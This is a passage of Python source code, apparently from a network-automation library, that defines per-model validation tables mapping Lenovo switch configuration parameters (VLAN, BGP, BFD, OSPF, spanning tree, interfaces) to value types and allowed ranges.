cost,disable,enable,guard,link-type,mst,port,port-priority,\
vlan',
'spanning_tree_cost': 'NO_VALIDATION:1-200000000',
'spanning_tree_interfacerange': 'INTEGER_VALUE_RANGE:1-3999',
'spanning_tree_portpriority': 'TEXT_OPTIONS:0,32,64,96,128,160,\
192,224',
'portchannel_ipv6_neighbor_mac': 'TEXT:',
'portchannel_ipv6_neighbor_address': 'IPV6Address:',
'portchannel_ipv6_linklocal': 'IPV6Address:',
'portchannel_ipv6_dhcp_vlan': 'INTEGER_VALUE:1-4094',
'portchannel_ipv6_dhcp_ethernet': 'TEXT:',
'portchannel_ipv6_dhcp': 'IPV6Address:',
'portchannel_ipv6_address': 'IPV6Address:',
'portchannel_ipv6_options': 'TEXT_OPTIONS:address,dhcp,\
link-local,nd,neighbor',
'interface_speed': 'TEXT_OPTIONS:1000,10000,100000,25000,40000,50000,auto',
'stormcontrol_options': 'TEXT_OPTIONS:broadcast,multicast,\
unicast',
'stormcontrol_level': 'FLOAT:',
'portchannel_dot1q_tag': 'TEXT_OPTIONS:disable,enable,\
egress-only',
'vrrp_id': 'INTEGER_VALUE:1-255',
}
NE0152T = {
'vlan_id': 'INTEGER_VALUE:1-3999',
'vlan_id_range': 'INTEGER_VALUE_RANGE:1-3999',
'vlan_name': 'TEXT:',
'vlan_flood': 'TEXT_OPTIONS:ipv4,ipv6',
'vlan_state': 'TEXT_OPTIONS:active,suspend',
'vlan_last_member_query_interval': 'INTEGER_VALUE:1-25',
'vlan_querier': 'IPV4Address:',
'vlan_querier_timeout': 'INTEGER_VALUE:1-65535',
'vlan_query_interval': 'INTEGER_VALUE:1-18000',
'vlan_query_max_response_time': 'INTEGER_VALUE:1-25',
'vlan_report_suppression': 'INTEGER_VALUE:1-25',
'vlan_robustness_variable': 'INTEGER_VALUE:1-7',
'vlan_startup_query_count': 'INTEGER_VALUE:1-10',
'vlan_startup_query_interval': 'INTEGER_VALUE:1-18000',
'vlan_snooping_version': 'INTEGER_VALUE:2-3',
'vlan_access_map_name': 'TEXT: ',
'vlan_ethernet_interface': 'TEXT:',
'vlan_portagg_number': 'INTEGER_VALUE:1-4096',
'vlan_accessmap_action': 'TEXT_OPTIONS:drop,forward,redirect',
'vlan_dot1q_tag': 'MATCH_TEXT_OR_EMPTY:egress-only',
'vlan_filter_name': 'TEXT:',
'vlag_auto_recovery': 'INTEGER_VALUE:240-3600',
'vlag_config_consistency': 'TEXT_OPTIONS:disable,strict',
'vlag_instance': 'INTEGER_VALUE:1-64',
'vlag_port_aggregation': 'INTEGER_VALUE:1-4096',
'vlag_priority': 'INTEGER_VALUE:0-65535',
'vlag_startup_delay': 'INTEGER_VALUE:0-3600',
'vlag_tier_id': 'INTEGER_VALUE:1-512',
'vlag_hlthchk_options': 'TEXT_OPTIONS:keepalive-attempts,\
keepalive-interval,peer-ip,retry-interval',
'vlag_keepalive_attempts': 'INTEGER_VALUE:1-24',
'vlag_keepalive_interval': 'INTEGER_VALUE:2-300',
'vlag_retry_interval': 'INTEGER_VALUE:1-300',
'vlag_peerip': 'IPV4Address:',
'vlag_peerip_vrf': 'TEXT_OPTIONS:default,management',
'bgp_as_number': 'NO_VALIDATION:1-4294967295',
'bgp_address_family': 'TEXT_OPTIONS:ipv4,ipv6',
'bgp_bgp_local_count': 'INTEGER_VALUE:2-64',
'cluster_id_as_ip': 'IPV4Address:',
'cluster_id_as_number': 'NO_VALIDATION:1-4294967295',
'confederation_identifier': 'INTEGER_VALUE:1-65535',
'condeferation_peers_as': 'INTEGER_VALUE:1-65535',
'stalepath_delay_value': 'INTEGER_VALUE:1-3600',
'maxas_limit_as': 'INTEGER_VALUE:1-2000',
'neighbor_ipaddress': 'IPV4Address:',
'neighbor_as': 'NO_VALIDATION:1-4294967295',
'router_id': 'IPV4Address:',
'bgp_keepalive_interval': 'INTEGER_VALUE:0-3600',
'bgp_holdtime': 'INTEGER_VALUE:0-3600',
'bgp_aggregate_prefix': 'IPV4AddressWithMask:',
'addrfamily_routemap_name': 'TEXT:',
'reachability_half_life': 'INTEGER_VALUE:1-45',
'start_reuse_route_value': 'INTEGER_VALUE:1-20000',
'start_suppress_route_value': 'INTEGER_VALUE:1-20000',
'max_duration_to_suppress_route': 'INTEGER_VALUE:1-255',
'unreachability_halftime_for_penalty': 'INTEGER_VALUE:1-45',
'distance_external_AS': 'INTEGER_VALUE:1-255',
'distance_internal_AS': 'INTEGER_VALUE:1-255',
'distance_local_routes': 'INTEGER_VALUE:1-255',
'maxpath_option': 'TEXT_OPTIONS:ebgp,ibgp',
'maxpath_numbers': 'INTEGER_VALUE:2-32',
'network_ip_prefix_with_mask': 'IPV4AddressWithMask:',
'network_ip_prefix_value': 'IPV4Address:',
'network_ip_prefix_mask': 'IPV4Address:',
'nexthop_crtitical_delay': 'NO_VALIDATION:1-4294967295',
'nexthop_noncrtitical_delay': 'NO_VALIDATION:1-4294967295',
'addrfamily_redistribute_option': 'TEXT_OPTIONS:direct,ospf,\
static',
'bgp_neighbor_af_occurances': 'INTEGER_VALUE:1-10',
'bgp_neighbor_af_filtername': 'TEXT:',
'bgp_neighbor_af_maxprefix': 'INTEGER_VALUE:1-15870',
'bgp_neighbor_af_prefixname': 'TEXT:',
'bgp_neighbor_af_routemap': 'TEXT:',
'bgp_neighbor_address_family': 'TEXT_OPTIONS:ipv4,ipv6',
'bgp_neighbor_connection_retrytime': 'INTEGER_VALUE:1-65535',
'bgp_neighbor_description': 'TEXT:',
'bgp_neighbor_maxhopcount': 'INTEGER_VALUE:1-255',
'bgp_neighbor_local_as': 'NO_VALIDATION:1-4294967295',
'bgp_neighbor_maxpeers': 'INTEGER_VALUE:1-96',
'bgp_neighbor_password': 'TEXT:',
'bgp_neighbor_timers_Keepalive': 'INTEGER_VALUE:0-3600',
'bgp_neighbor_timers_holdtime': 'INTEGER_VALUE:0-3600',
'bgp_neighbor_ttl_hops': 'INTEGER_VALUE:1-254',
'bgp_neighbor_update_options': 'TEXT_OPTIONS:ethernet,loopback,\
vlan',
'bgp_neighbor_update_ethernet': 'TEXT:',
'bgp_neighbor_update_loopback': 'INTEGER_VALUE:0-7',
'bgp_neighbor_update_vlan': 'INTEGER_VALUE:1-4094',
'bgp_neighbor_weight': 'INTEGER_VALUE:0-65535',
'ethernet_interface_value': 'INTEGER_VALUE:1-52',
'ethernet_interface_range': 'INTEGER_VALUE_RANGE:1-52',
'ethernet_interface_string': 'TEXT:',
'loopback_interface_value': 'INTEGER_VALUE:0-7',
'mgmt_interface_value': 'INTEGER_VALUE:0-0',
'vlan_interface_value': 'INTEGER_VALUE:1-4094',
'portchannel_interface_value': 'INTEGER_VALUE:1-4096',
'portchannel_interface_range': 'INTEGER_VALUE_RANGE:1-4096',
'portchannel_interface_string': 'TEXT:',
'aggregation_group_no': 'INTEGER_VALUE:1-4096',
'aggregation_group_mode': 'TEXT_OPTIONS:active,on,passive',
'bfd_options': 'TEXT_OPTIONS:authentication,echo,interval,ipv4,\
ipv6,neighbor',
'bfd_interval': 'INTEGER_VALUE:50-999',
'bfd_minrx': 'INTEGER_VALUE:50-999',
'bfd_ multiplier': 'INTEGER_VALUE:3-50',
'bfd_ipv4_options': 'TEXT_OPTIONS:authentication,echo,\
interval',
'bfd_auth_options': 'TEXT_OPTIONS:keyed-md5,keyed-sha1,\
meticulous-keyed-md5,meticulous-keyed-sha1,simple',
'bfd_key_options': 'TEXT_OPTIONS:key-chain,key-id',
'bfd_key_chain': 'TEXT:',
'bfd_key_id': 'INTEGER_VALUE:0-255',
'bfd_key_name': 'TEXT:',
'bfd_neighbor_ip': 'TEXT:',
'bfd_neighbor_options': 'TEXT_OPTIONS:admin-down,multihop,\
non-persistent',
'bfd_access_vlan': 'INTEGER_VALUE:1-3999',
'bfd_bridgeport_mode': 'TEXT_OPTIONS:access,dot1q-tunnel,\
trunk',
'trunk_options': 'TEXT_OPTIONS:allowed,native',
'trunk_vlanid': 'INTEGER_VALUE:1-3999',
'portCh_description': 'TEXT:',
'duplex_option': 'TEXT_OPTIONS:auto,full,half',
'flowcontrol_options': 'TEXT_OPTIONS:receive,send',
'portchannel_ip_options': 'TEXT_OPTIONS:access-group,address,\
arp,dhcp,ospf,port,port-unreachable,redirects,router,\
unreachables',
'accessgroup_name': 'TEXT:',
'portchannel_ipv4': 'IPV4Address:',
'portchannel_ipv4_mask': 'TEXT:',
'arp_ipaddress': 'IPV4Address:',
'arp_macaddress': 'TEXT:',
'arp_timeout_value': 'INTEGER_VALUE:60-28800',
'relay_ipaddress': 'IPV4Address:',
'ip_ospf_options': 'TEXT_OPTIONS:authentication,\
authentication-key,bfd,cost,database-filter,dead-interval,\
hello-interval,message-digest-key,mtu,mtu-ignore,network,\
passive-interface,priority,retransmit-interval,shutdown,\
transmit-delay',
'ospf_id_decimal_value': 'NO_VALIDATION:1-4294967295',
'ospf_id_ipaddres_value': 'IPV4Address:',
'lacp_options': 'TEXT_OPTIONS:port-priority,suspend-individual,\
timeout',
'port_priority': 'INTEGER_VALUE:1-65535',
'lldp_options': 'TEXT_OPTIONS:receive,tlv-select,transmit,\
trap-notification',
'lldp_tlv_options': 'TEXT_OPTIONS:link-aggregation,\
mac-phy-status,management-address,max-frame-size,\
port-description,port-protocol-vlan,port-vlan,power-mdi,\
protocol-identity,system-capabilities,system-description,\
system-name,vid-management,vlan-name',
'load_interval_delay': 'INTEGER_VALUE:30-300',
'load_interval_counter': 'INTEGER_VALUE:1-3',
'mac_accessgroup_name': 'TEXT:',
'mac_address': 'TEXT:',
'microburst_threshold': 'NO_VALIDATION:1-4294967295',
'mtu_value': 'INTEGER_VALUE:64-9216',
'service_instance': 'NO_VALIDATION:1-4294967295',
'service_policy_options': 'TEXT_OPTIONS:copp-system-policy,\
input,output,type',
'service_policy_name': 'TEXT:',
'spanning_tree_options': 'TEXT_OPTIONS:bpdufilter,bpduguard,\
cost,disable,enable,guard,link-type,mst,port,port-priority,\
vlan',
'spanning_tree_cost': 'NO_VALIDATION:1-200000000',
'spanning_tree_interfacerange': 'INTEGER_VALUE_RANGE:1-3999',
'spanning_tree_portpriority': 'TEXT_OPTIONS:0,32,64,96,128,160,\
192,224',
'portchannel_ipv6_neighbor_mac': 'TEXT:',
'portchannel_ipv6_neighbor_address': 'IPV6Address:',
'portchannel_ipv6_linklocal': 'IPV6Address:',
'portchannel_ipv6_dhcp_vlan': 'INTEGER_VALUE:1-4094',
'portchannel_ipv6_dhcp_ethernet': 'TEXT:',
'portchannel_ipv6_dhcp': 'IPV6Address:',
'portchannel_ipv6_address': 'IPV6Address:',
'portchannel_ipv6_options': 'TEXT_OPTIONS:address,dhcp,\
link-local,nd,neighbor',
'interface_speed': 'TEXT_OPTIONS:10,100,1000,10000,auto',
'stormcontrol_options': 'TEXT_OPTIONS:broadcast,multicast,\
unicast',
'stormcontrol_level': 'FLOAT:',
'portchannel_dot1q_tag': 'TEXT_OPTIONS:disable,enable,\
egress-only',
'vrrp_id': 'INTEGER_VALUE:1-255',
}
NE2572 = {
'vlan_id': 'INTEGER_VALUE:1-3999',
'vlan_id_range': 'INTEGER_VALUE_RANGE:1-3999',
'vlan_name': 'TEXT:',
'vlan_flood': 'TEXT_OPTIONS:ipv4,ipv6',
'vlan_state': 'TEXT_OPTIONS:active,suspend',
'vlan_last_member_query_interval': 'INTEGER_VALUE:1-25',
'vlan_querier': 'IPV4Address:',
'vlan_querier_timeout': 'INTEGER_VALUE:1-65535',
'vlan_query_interval': 'INTEGER_VALUE:1-18000',
'vlan_query_max_response_time': 'INTEGER_VALUE:1-25',
'vlan_report_suppression': 'INTEGER_VALUE:1-25',
'vlan_robustness_variable': 'INTEGER_VALUE:1-7',
'vlan_startup_query_count': 'INTEGER_VALUE:1-10',
'vlan_startup_query_interval': 'INTEGER_VALUE:1-18000',
'vlan_snooping_version': 'INTEGER_VALUE:2-3',
'vlan_access_map_name': 'TEXT: ',
'vlan_ethernet_interface': 'TEXT:',
'vlan_portagg_number': 'INTEGER_VALUE:1-4096',
'vlan_accessmap_action': 'TEXT_OPTIONS:drop,forward,redirect',
'vlan_dot1q_tag': 'MATCH_TEXT_OR_EMPTY:egress-only',
'vlan_filter_name': 'TEXT:',
'vlag_auto_recovery': 'INTEGER_VALUE:240-3600',
'vlag_config_consistency': 'TEXT_OPTIONS:disable,strict',
'vlag_instance': 'INTEGER_VALUE:1-64',
'vlag_port_aggregation': 'INTEGER_VALUE:1-4096',
'vlag_priority': 'INTEGER_VALUE:0-65535',
'vlag_startup_delay': 'INTEGER_VALUE:0-3600',
'vlag_tier_id': 'INTEGER_VALUE:1-512',
'vlag_hlthchk_options': 'TEXT_OPTIONS:keepalive-attempts,\
keepalive-interval,peer-ip,retry-interval',
'vlag_keepalive_attempts': 'INTEGER_VALUE:1-24',
'vlag_keepalive_interval': 'INTEGER_VALUE:2-300',
'vlag_retry_interval': 'INTEGER_VALUE:1-300',
'vlag_peerip': 'IPV4Address:',
'vlag_peerip_vrf': 'TEXT_OPTIONS:default,management',
'bgp_as_number': 'NO_VALIDATION:1-4294967295',
'bgp_address_family': 'TEXT_OPTIONS:ipv4,ipv6',
'bgp_bgp_local_count': 'INTEGER_VALUE:2-64',
'cluster_id_as_ip': 'IPV4Address:',
'cluster_id_as_number': 'NO_VALIDATION:1-4294967295',
'confederation_identifier': 'INTEGER_VALUE:1-65535',
'condeferation_peers_as': 'INTEGER_VALUE:1-65535',
'stalepath_delay_value': 'INTEGER_VALUE:1-3600',
'maxas_limit_as': 'INTEGER_VALUE:1-2000',
'neighbor_ipaddress': 'IPV4Address:',
'neighbor_as': 'NO_VALIDATION:1-4294967295',
'router_id': 'IPV4Address:',
'bgp_keepalive_interval': 'INTEGER_VALUE:0-3600',
'bgp_holdtime': 'INTEGER_VALUE:0-3600',
'bgp_aggregate_prefix': 'IPV4AddressWithMask:',
'addrfamily_routemap_name': 'TEXT:',
'reachability_half_life': 'INTEGER_VALUE:1-45',
'start_reuse_route_value': 'INTEGER_VALUE:1-20000',
'start_suppress_route_value': 'INTEGER_VALUE:1-20000',
'max_duration_to_suppress_route': 'INTEGER_VALUE:1-255',
'unreachability_halftime_for_penalty': 'INTEGER_VALUE:1-45',
'distance_external_AS': 'INTEGER_VALUE:1-255',
'distance_internal_AS': 'INTEGER_VALUE:1-255',
'distance_local_routes': 'INTEGER_VALUE:1-255',
'maxpath_option': 'TEXT_OPTIONS:ebgp,ibgp',
'maxpath_numbers': 'INTEGER_VALUE:2-32',
'network_ip_prefix_with_mask': 'IPV4AddressWithMask:',
'network_ip_prefix_value': 'IPV4Address:',
'network_ip_prefix_mask': 'IPV4Address:',
'nexthop_crtitical_delay': 'NO_VALIDATION:1-4294967295',
'nexthop_noncrtitical_delay': 'NO_VALIDATION:1-4294967295',
'addrfamily_redistribute_option': 'TEXT_OPTIONS:direct,ospf,\
static',
'bgp_neighbor_af_occurances': 'INTEGER_VALUE:1-10',
'bgp_neighbor_af_filtername': 'TEXT:',
'bgp_neighbor_af_maxprefix': 'INTEGER_VALUE:1-15870',
'bgp_neighbor_af_prefixname': 'TEXT:',
'bgp_neighbor_af_routemap': 'TEXT:',
'bgp_neighbor_address_family': 'TEXT_OPTIONS:ipv4,ipv6',
'bgp_neighbor_connection_retrytime': 'INTEGER_VALUE:1-65535',
'bgp_neighbor_description': 'TEXT:',
'bgp_neighbor_maxhopcount': 'INTEGER_VALUE:1-255',
'bgp_neighbor_local_as': 'NO_VALIDATION:1-4294967295',
'bgp_neighbor_maxpeers': 'INTEGER_VALUE:1-96',
'bgp_neighbor_password': 'TEXT:',
'bgp_neighbor_timers_Keepalive': 'INTEGER_VALUE:0-3600',
'bgp_neighbor_timers_holdtime': 'INTEGER_VALUE:0-3600',
'bgp_neighbor_ttl_hops': 'INTEGER_VALUE:1-254',
'bgp_neighbor_update_options': 'TEXT_OPTIONS:ethernet,loopback,\
vlan',
'bgp_neighbor_update_ethernet': 'TEXT:',
'bgp_neighbor_update_loopback': 'INTEGER_VALUE:0-7',
'bgp_neighbor_update_vlan': 'INTEGER_VALUE:1-4094',
'bgp_neighbor_weight': 'INTEGER_VALUE:0-65535',
'ethernet_interface_value': 'INTEGER_VALUE:1-54',
'ethernet_interface_range': 'INTEGER_VALUE_RANGE:1-54',
'ethernet_interface_string': 'TEXT:',
'loopback_interface_value': 'INTEGER_VALUE:0-7',
'mgmt_interface_value': 'INTEGER_VALUE:0-0',
'vlan_interface_value': 'INTEGER_VALUE:1-4094',
'portchannel_interface_value': 'INTEGER_VALUE:1-4096',
'portchannel_interface_range': 'INTEGER_VALUE_RANGE:1-4096',
'portchannel_interface_string': 'TEXT:',
'aggregation_group_no': 'INTEGER_VALUE:1-4096',
'aggregation_group_mode': 'TEXT_OPTIONS:active,on,passive',
'bfd_options': 'TEXT_OPTIONS:authentication,echo,interval,ipv4,\
ipv6,neighbor',
'bfd_interval': 'INTEGER_VALUE:50-999',
'bfd_minrx': 'INTEGER_VALUE:50-999',
'bfd_ multiplier': 'INTEGER_VALUE:3-50',
'bfd_ipv4_options': 'TEXT_OPTIONS:authentication,echo,interval',
'bfd_auth_options': 'TEXT_OPTIONS:keyed-md5,keyed-sha1,\
meticulous-keyed-md5,meticulous-keyed-sha1,simple',
'bfd_key_options': 'TEXT_OPTIONS:key-chain,key-id',
'bfd_key_chain': 'TEXT:',
'bfd_key_id': 'INTEGER_VALUE:0-255',
'bfd_key_name': 'TEXT:',
'bfd_neighbor_ip': 'TEXT:',
'bfd_neighbor_options': 'TEXT_OPTIONS:admin-down,multihop,\
non-persistent',
'bfd_access_vlan': 'INTEGER_VALUE:1-3999',
'bfd_bridgeport_mode': 'TEXT_OPTIONS:access,dot1q-tunnel,trunk',
'trunk_options': 'TEXT_OPTIONS:allowed,native',
'trunk_vlanid': 'INTEGER_VALUE:1-3999',
'portCh_description': 'TEXT:',
'duplex_option': 'TEXT_OPTIONS:auto,full,half',
'flowcontrol_options': 'TEXT_OPTIONS:receive,send',
'portchannel_ip_options': 'TEXT_OPTIONS:access-group,address,\
arp,dhcp,ospf,port,port-unreachable,redirects,router,\
unreachables',
'accessgroup_name': 'TEXT:',
'portchannel_ipv4': 'IPV4Address:',
'portchannel_ipv4_mask': 'TEXT:',
'arp_ipaddress': 'IPV4Address:',
'arp_macaddress': 'TEXT:',
'arp_timeout_value': 'INTEGER_VALUE:60-28800',
'relay_ipaddress': 'IPV4Address:',
'ip_ospf_options': 'TEXT_OPTIONS:authentication,\
authentication-key,bfd,cost,database-filter,dead-interval,\
hello-interval,message-digest-key,mtu,mtu-ignore,network,\
passive-interface,priority,retransmit-interval,shutdown,\
transmit-delay',
'ospf_id_decimal_value': 'NO_VALIDATION:1-4294967295',
'ospf_id_ipaddres_value': 'IPV4Address:',
'lacp_options': 'TEXT_OPTIONS:port-priority,suspend-individual,\
timeout',
'port_priority': 'INTEGER_VALUE:1-65535',
'lldp_options': 'TEXT_OPTIONS:receive,tlv-select,transmit,\
trap-notification',
'lldp_tlv_options': 'TEXT_OPTIONS:link-aggregation,\
mac-phy-status,management-address,max-frame-size,\
port-description,port-protocol-vlan,port-vlan,power-mdi,\
protocol-identity,system-capabilities,system-description,\
system-name,vid-management,vlan-name',
'load_interval_delay': 'INTEGER_VALUE:30-300',
'load_interval_counter': 'INTEGER_VALUE:1-3',
'mac_accessgroup_name': 'TEXT:',
'mac_address': 'TEXT:',
'microburst_threshold': 'NO_VALIDATION:1-4294967295',
'mtu_value': 'INTEGER_VALUE:64-9216',
'service_instance': 'NO_VALIDATION:1-4294967295',
'service_policy_options': 'TEXT_OPTIONS:copp-system-policy,input,\
output,type',
'service_policy_name': 'TEXT:',
'spanning_tree_options': 'TEXT_OPTIONS:bpdufilter,bpduguard,\
cost,disable,enable,guard,link-type,mst,port,port-priority,vlan',
'spanning_tree_cost': 'NO_VALIDATION:1-200000000',
'spanning_tree_interfacerange': 'INTEGER_VALUE_RANGE:1-3999',
'spanning_tree_portpriority': 'TEXT_OPTIONS:0,32,64,96,128,160,\
192,224',
'portchannel_ipv6_neighbor_mac': 'TEXT:',
'portchannel_ipv6_neighbor_address': 'IPV6Address:',
'portchannel_ipv6_linklocal': 'IPV6Address:',
'portchannel_ipv6_dhcp_vlan': 'INTEGER_VALUE:1-4094',
'portchannel_ipv6_dhcp_ethernet': 'TEXT:',
'portchannel_ipv6_dhcp': 'IPV6Address:',
'portchannel_ipv6_address': 'IPV6Address:',
'portchannel_ipv6_options': 'TEXT_OPTIONS:address,dhcp,\
link-local,nd,neighbor',
'interface_speed': 'TEXT_OPTIONS:10000,100000,25000,40000,50000,auto',
'stormcontrol_options': 'TEXT_OPTIONS:broadcast,multicast,\
unicast',
'stormcontrol_level': 'FLOAT:',
'portchannel_dot1q_tag': 'TEXT_OPTIONS:disable,enable,\
egress-only',
'vrrp_id': 'INTEGER_VALUE:1-255',
}
NE1032T = {
'vlan_id': 'INTEGER_VALUE:1-3999',
'vlan_id_range': 'INTEGER_VALUE_RANGE:1-3999',
'vlan_name': 'TEXT:',
'vlan_flood': 'TEXT_OPTIONS:ipv4,ipv6',
'vlan_state': 'TEXT_OPTIONS:active,suspend',
'vlan_last_member_query_interval': 'INTEGER_VALUE:1-25',
'vlan_querier': 'IPV4Address:',
'vlan_querier_timeout': 'INTEGER_VALUE:1-65535',
'vlan_query_interval': 'INTEGER_VALUE:1-18000',
'vlan_query_max_response_time': 'INTEGER_VALUE:1-25',
'vlan_report_suppression': 'INTEGER_VALUE:1-25',
'vlan_robustness_variable': 'INTEGER_VALUE:1-7',
'vlan_startup_query_count': 'INTEGER_VALUE:1-10',
'vlan_startup_query_interval': 'INTEGER_VALUE:1-18000',
'vlan_snooping_version': 'INTEGER_VALUE:2-3',
'vlan_access_map_name': 'TEXT: ',
'vlan_ethernet_interface': 'TEXT:',
'vlan_portagg_number': 'INTEGER_VALUE:1-4096',
'vlan_accessmap_action': 'TEXT_OPTIONS:drop,forward,redirect',
'vlan_dot1q_tag': 'MATCH_TEXT_OR_EMPTY:egress-only',
'vlan_filter_name': 'TEXT:',
'vlag_auto_recovery': 'INTEGER_VALUE:240-3600',
'vlag_config_consistency': 'TEXT_OPTIONS:disable,strict',
'vlag_instance': 'INTEGER_VALUE:1-64',
'vlag_port_aggregation': 'INTEGER_VALUE:1-4096',
'vlag_priority': 'INTEGER_VALUE:0-65535',
'vlag_startup_delay': 'INTEGER_VALUE:0-3600',
'vlag_tier_id': 'INTEGER_VALUE:1-512',
'vlag_hlthchk_options': 'TEXT_OPTIONS:keepalive-attempts,\
keepalive-interval,peer-ip,retry-interval',
'vlag_keepalive_attempts': 'INTEGER_VALUE:1-24',
'vlag_keepalive_interval': 'INTEGER_VALUE:2-300',
'vlag_retry_interval': 'INTEGER_VALUE:1-300',
'vlag_peerip': 'IPV4Address:',
'vlag_peerip_vrf': 'TEXT_OPTIONS:default,management',
'bgp_as_number': 'NO_VALIDATION:1-4294967295',
'bgp_address_family': 'TEXT_OPTIONS:ipv4,ipv6',
'bgp_bgp_local_count': 'INTEGER_VALUE:2-64',
'cluster_id_as_ip': 'IPV4Address:',
'cluster_id_as_number': 'NO_VALIDATION:1-4294967295',
'confederation_identifier': 'INTEGER_VALUE:1-65535',
'condeferation_peers_as': 'INTEGER_VALUE:1-65535',
'stalepath_delay_value': 'INTEGER_VALUE:1-3600',
'maxas_limit_as': 'INTEGER_VALUE:1-2000',
'neighbor_ipaddress': 'IPV4Address:',
'neighbor_as': 'NO_VALIDATION:1-4294967295',
'router_id': 'IPV4Address:',
'bgp_keepalive_interval': 'INTEGER_VALUE:0-3600',
'bgp_holdtime': 'INTEGER_VALUE:0-3600',
'bgp_aggregate_prefix': 'IPV4AddressWithMask:',
'addrfamily_routemap_name': 'TEXT:',
'reachability_half_life': 'INTEGER_VALUE:1-45',
'start_reuse_route_value': 'INTEGER_VALUE:1-20000',
'start_suppress_route_value': 'INTEGER_VALUE:1-20000',
'max_duration_to_suppress_route': 'INTEGER_VALUE:1-255',
'unreachability_halftime_for_penalty': 'INTEGER_VALUE:1-45',
'distance_external_AS': 'INTEGER_VALUE:1-255',
'distance_internal_AS': 'INTEGER_VALUE:1-255',
'distance_local_routes': 'INTEGER_VALUE:1-255',
'maxpath_option': 'TEXT_OPTIONS:ebgp,ibgp',
'maxpath_numbers': 'INTEGER_VALUE:2-32',
'network_ip_prefix_with_mask': 'IPV4AddressWithMask:',
'network_ip_prefix_value': 'IPV4Address:',
'network_ip_prefix_mask': 'IPV4Address:',
'nexthop_crtitical_delay': 'NO_VALIDATION:1-4294967295',
'nexthop_noncrtitical_delay': 'NO_VALIDATION:1-4294967295',
'addrfamily_redistribute_option': 'TEXT_OPTIONS:direct,ospf,\
static',
'bgp_neighbor_af_occurances': 'INTEGER_VALUE:1-10',
'bgp_neighbor_af_filtername': 'TEXT:',
'bgp_neighbor_af_maxprefix': 'INTEGER_VALUE:1-15870',
'bgp_neighbor_af_prefixname': 'TEXT:',
'bgp_neighbor_af_routemap': 'TEXT:',
'bgp_neighbor_address_family': 'TEXT_OPTIONS:ipv4,ipv6',
'bgp_neighbor_connection_retrytime': 'INTEGER_VALUE:1-65535',
'bgp_neighbor_description': 'TEXT:',
'bgp_neighbor_maxhopcount': 'INTEGER_VALUE:1-255',
'bgp_neighbor_local_as': 'NO_VALIDATION:1-4294967295',
'bgp_neighbor_maxpeers': 'INTEGER_VALUE:1-96',
'bgp_neighbor_password': 'TEXT:',
'bgp_neighbor_timers_Keepalive': 'INTEGER_VALUE:0-3600',
'bgp_neighbor_timers_holdtime': 'INTEGER_VALUE:0-3600',
'bgp_neighbor_ttl_hops': 'INTEGER_VALUE:1-254',
'bgp_neighbor_update_options': 'TEXT_OPTIONS:ethernet,loopback,\
vlan',
'bgp_neighbor_update_ethernet': 'TEXT:',
'bgp_neighbor_update_loopback': 'INTEGER_VALUE:0-7',
'bgp_neighbor_update_vlan': 'INTEGER_VALUE:1-4094',
'bgp_neighbor_weight': 'INTEGER_VALUE:0-65535',
'ethernet_interface_value': 'INTEGER_VALUE:1-32',
'ethernet_interface_range': 'INTEGER_VALUE_RANGE:1-32',
'ethernet_interface_string': 'TEXT:',
'loopback_interface_value': 'INTEGER_VALUE:0-7',
'mgmt_interface_value': 'INTEGER_VALUE:0-0',
'vlan_interface_value': 'INTEGER_VALUE:1-4094',
'portchannel_interface_value': 'INTEGER_VALUE:1-4096',
'portchannel_interface_range': 'INTEGER_VALUE_RANGE:1-4096',
'portchannel_interface_string': 'TEXT:',
'aggregation_group_no': 'INTEGER_VALUE:1-4096',
'aggregation_group_mode': 'TEXT_OPTIONS:active,on,passive',
'bfd_options': 'TEXT_OPTIONS:authentication,echo,interval,ipv4,\
ipv6,neighbor',
'bfd_interval': 'INTEGER_VALUE:50-999',
'bfd_minrx': 'INTEGER_VALUE:50-999',
'bfd_ multiplier': 'INTEGER_VALUE:3-50',
'bfd_ipv4_options': 'TEXT_OPTIONS:authentication,echo,interval',
'bfd_auth_options': 'TEXT_OPTIONS:keyed-md5,keyed-sha1,\
meticulous-keyed-md5,meticulous-keyed-sha1,simple',
'bfd_key_options': 'TEXT_OPTIONS:key-chain,key-id',
'bfd_key_chain': 'TEXT:',
'bfd_key_id': 'INTEGER_VALUE:0-255',
'bfd_key_name': 'TEXT:',
'bfd_neighbor_ip': 'TEXT:',
'bfd_neighbor_options': 'TEXT_OPTIONS:admin-down,multihop,\
non-persistent',
'bfd_access_vlan': 'INTEGER_VALUE:1-3999',
'bfd_bridgeport_mode': 'TEXT_OPTIONS:access,dot1q-tunnel,trunk',
'trunk_options': 'TEXT_OPTIONS:allowed,native',
'trunk_vlanid': 'INTEGER_VALUE:1-3999',
'portCh_description': 'TEXT:',
'duplex_option': 'TEXT_OPTIONS:auto,full,half',
'flowcontrol_options': 'TEXT_OPTIONS:receive,send',
'portchannel_ip_options': 'TEXT_OPTIONS:access-group,address,\
arp,dhcp,ospf,port,port-unreachable,redirects,router,\
unreachables',
'accessgroup_name': 'TEXT:',
'portchannel_ipv4': 'IPV4Address:',
'portchannel_ipv4_mask': 'TEXT:',
'arp_ipaddress': 'IPV4Address:',
'arp_macaddress': 'TEXT:',
'arp_timeout_value': 'INTEGER_VALUE:60-28800',
'relay_ipaddress': 'IPV4Address:',
'ip_ospf_options': 'TEXT_OPTIONS:authentication,\
authentication-key,bfd,cost,database-filter,dead-interval,\
hello-interval,message-digest-key,mtu,mtu-ignore,network,\
passive-interface,priority,retransmit-interval,shutdown,\
transmit-delay',
'ospf_id_decimal_value': 'NO_VALIDATION:1-4294967295',
'ospf_id_ipaddres_value': 'IPV4Address:',
'lacp_options': 'TEXT_OPTIONS:port-priority,suspend-individual,\
timeout',
'port_priority': 'INTEGER_VALUE:1-65535',
'lldp_options': 'TEXT_OPTIONS:receive,tlv-select,transmit,\
trap-notification',
'lldp_tlv_options': 'TEXT_OPTIONS:link-aggregation,\
mac-phy-status,management-address,max-frame-size,\
port-description,port-protocol-vlan,port-vlan,power-mdi,\
protocol-identity,system-capabilities,system-description,\
system-name,vid-management,vlan-name',
'load_interval_delay': 'INTEGER_VALUE:30-300',
'load_interval_counter': 'INTEGER_VALUE:1-3',
'mac_accessgroup_name': 'TEXT:',
'mac_address': 'TEXT:',
'microburst_threshold': 'NO_VALIDATION:1-4294967295',
'mtu_value': 'INTEGER_VALUE:64-9216',
'service_instance': 'NO_VALIDATION:1-4294967295',
'service_policy_options': 'TEXT_OPTIONS:copp-system-policy,input,\
output,type',
'service_policy_name': 'TEXT:',
'spanning_tree_options': 'TEXT_OPTIONS:bpdufilter,bpduguard,\
cost,disable,enable,guard,link-type,mst,port,port-priority,vlan',
'spanning_tree_cost': 'NO_VALIDATION:1-200000000',
